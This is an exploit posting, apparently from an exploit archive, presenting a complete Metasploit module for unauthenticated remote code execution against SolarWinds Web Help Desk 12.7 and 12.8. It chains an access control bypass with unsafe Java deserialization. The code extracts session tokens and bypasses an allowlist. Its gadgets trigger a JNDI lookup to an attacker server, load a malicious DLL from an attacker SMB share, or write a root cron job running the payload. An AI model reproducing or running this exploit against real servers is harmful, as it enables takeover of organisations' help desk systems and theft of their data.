============================================================================================================================================= | # Title : SolarWinds Web Help Desk – Unauthenticated RCE via Access Control Bypass & Unsafe Deserialization | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://www.solarwinds.com/web-help-desk | ============================================================================================================================================= [+] Summary : This Metasploit module targets SolarWinds Web Help Desk and exploits two chained vulnerabilities: CVE-2025-40536 – Access control bypass CVE-2025-40551 – Unsafe Java deserialization leading to Remote Code Execution The attack does not require authentication. [+] High-Level Exploitation Flow Initial Session Establishment Retrieves application version, platform (Windows/Linux), session cookies, and required tokens. Login Preference Page Access Extracts an internal externalAuthContainer reference. SAML Object Trigger Prepares internal state required to access JSON-RPC functionality. JSON-RPC Bridge Creation Identifies the internal AJAX endpoint used for backend method invocation. Unsafe Deserialization Trigger Sends crafted JSON data to backend WebObjects methods, resulting in arbitrary class instantiation and eventual code execution. [+] Affected Versions WHD 12.7.x WHD 12.8.x Windows and Linux deployments [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::JndiInjection include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::EXE include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'SolarWinds Web Help Desk unauthenticated RCE', 'Description' => %q{ This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD) server. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka', ], 'References' => [ ['CVE', '2025-40536'], ['CVE', '2025-40551'], ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'], ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/'] ], 'DisclosureDate' => '2026-01-28', 'Privileged' => true, 'Platform' => ['win', 'unix', 'linux'], 'Arch' => [ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'WHD 12.8.* on Windows (Native code payload)', { 'VersionStart' => '12.8', 'Platform' => 'win', 'Arch' => ARCH_X64 } ], [ 'WHD 12.8.* on Linux (Command payload)', { 'VersionStart' => '12.8', 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => '\'' }, 'WfsDelay' => 90 } ], [ 'WHD 12.7.* on Windows (Command payload)', { 'VersionStart' => '12.7', 'GadgetChain' => 'CommonsBeanutils1', 'Platform' => 'win', 'Arch' => ARCH_CMD } ], [ 'WHD 12.7.* on Linux (Command payload)', { 'VersionStart' => '12.7', 'GadgetChain' => 'CommonsBeanutils1', 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check session_ctx = step1_initial_session CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).") rescue Msf::Exploit::Failed => e CheckCode::Unknown(e.to_s) end def exploit print_status('Step 1 - Initial session...') session_ctx = step1_initial_session fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart'] case target['Platform'] when 'win' fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows when 'unix', 'linux' fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux else fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.") end session_ctx[:service] = get_target_service(session_ctx) print_status('Step 2 - Login pref page...') external_auth_container = step2_login_pref_page(session_ctx) print_status('Step 3 - Trigger SAML object...') step3_trigger_saml_object(session_ctx, external_auth_container) print_status('Step 4 - Create JSON RPC bridge...') jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx) print_status('Step 5 - Unsafe deserialization...') get_target_gadgets(session_ctx).each do |gadget| print_status(" Executing gadget - #{gadget[:title]}") step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true) Rex::ThreadSafe.sleep(2) end retry_until_truthy(timeout: datastore['WfsDelay']) do !handler_enabled? || session_created? end unless session_ctx[:service].nil? session_ctx[:service].cleanup end handler ensure cleanup_service end class SimpleSMBShareWrapper < ::Msf::Exploit include ::Msf::Exploit::Remote::SMB::Server::Share end def get_target_service(session_ctx) if target['VersionStart'] == '12.7' start_service return nil end return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)") smb_service = SimpleSMBShareWrapper.new smb_service.datastore['SRVPORT'] = 445 smb_service.datastore['SRVHOST'] = datastore['SRVHOST'] smb_service.setup smb_service.file_contents = generate_payload_dll smb_service.file_name += '.dll' smb_service.start_service({ 'ServerPort' => 445, 'ServerHost' => datastore['SRVHOST'] }) smb_service end def get_target_gadgets(session_ctx) gadgets = [] if target['VersionStart'] == '12.7' print_status("Malicious JNDI URL: #{jndi_string}") gadgets.push({ title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource', json_data: { 'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', 'jndiLocation' => jndi_string } }) elsif target['VersionStart'] == '12.8' gadgets.push({ title: 'Registering the org.sqlite.JDBC driver', json_data: { 'javaClass' => 'org.sqlite.JDBC' } }) if session_ctx[:platform] == :windows print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}") gadgets.push({ title: 'Loading malicious extension over SMB', json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true', 'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');" } }) elsif session_ctx[:platform] == :linux random_name = Rex::Text.rand_text_alpha(8) gadgets.push({ title: "Creating file in /etc/cron.d/#{random_name}", json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}", 'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);' } }) gadgets.push({ title: "Dirty file write to /etc/cron.d/#{random_name}", json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}", 'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');" } }) end else fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.") end gadgets end def build_ldap_search_response_payload build_ldap_search_response_payload_inline(target['GadgetChain']) end def step1_initial_session res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'), 'headers' => { 'x-webobjects-recording' => '1' } ) fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"}) fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m version = m[1].gsub('_', '.') vprint_status("Version: #{version}") m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"}) fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m resource_path = Rex::Text.uri_decode(m[1]) platform = if resource_path =~ %r{file:////.:/} :windows else resource_path =~ %r{file:///Applications/} ? :mac : :linux end vprint_status("Platform: #{platform}") cookies = res.get_cookies jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid vprint_status("JSESSIONID: #{jsessionid}") xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token vprint_status("XSRF-TOKEN: #{xsrf_token}") x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}") { version: version, platform: platform, jsessionid: jsessionid, xsrf_token: xsrf_token, x_webobjects_session_id: x_webobjects_session_id } end def step2_login_pref_page(session_ctx) res = send_request_cgi( 'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'vars_get' => { Rex::Text.rand_text_alpha(8) => '/ajax/', 'wopage' => 'LoginPref' } ) fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)"}) fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m external_auth_container = m[1] vprint_status("externalAuthContainer: #{external_auth_container}") external_auth_container end def step3_trigger_saml_object(session_ctx, external_auth_container) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, external_auth_container), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}" ) fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200 end def step4_create_jsonrpc_bridge(session_ctx) res = send_request_cgi( 'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'vars_get' => { Rex::Text.rand_text_alpha(8) => '/ajax/', 'wopage' => 'LoginPref' } ) fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);}) fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m jsonrpc_client = m[1] vprint_status("JSONRpcClient: #{jsonrpc_client}") jsonrpc_client end def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false) random_id = rand(1..0xffff) random_name = Rex::Text.rand_text_alpha(8) allowlist = [ 'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed', 'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf' ] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => { Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}", 'id' => random_id, 'method' => 'wopage.setVariableValueForName', 'params' => [ random_name, json_data ] }.to_json ) fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => { Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}", 'id' => random_id, 'method' => 'wopage.variableValueForName', 'params' => [random_name] }.to_json ) unless return_early fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200 end end end Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================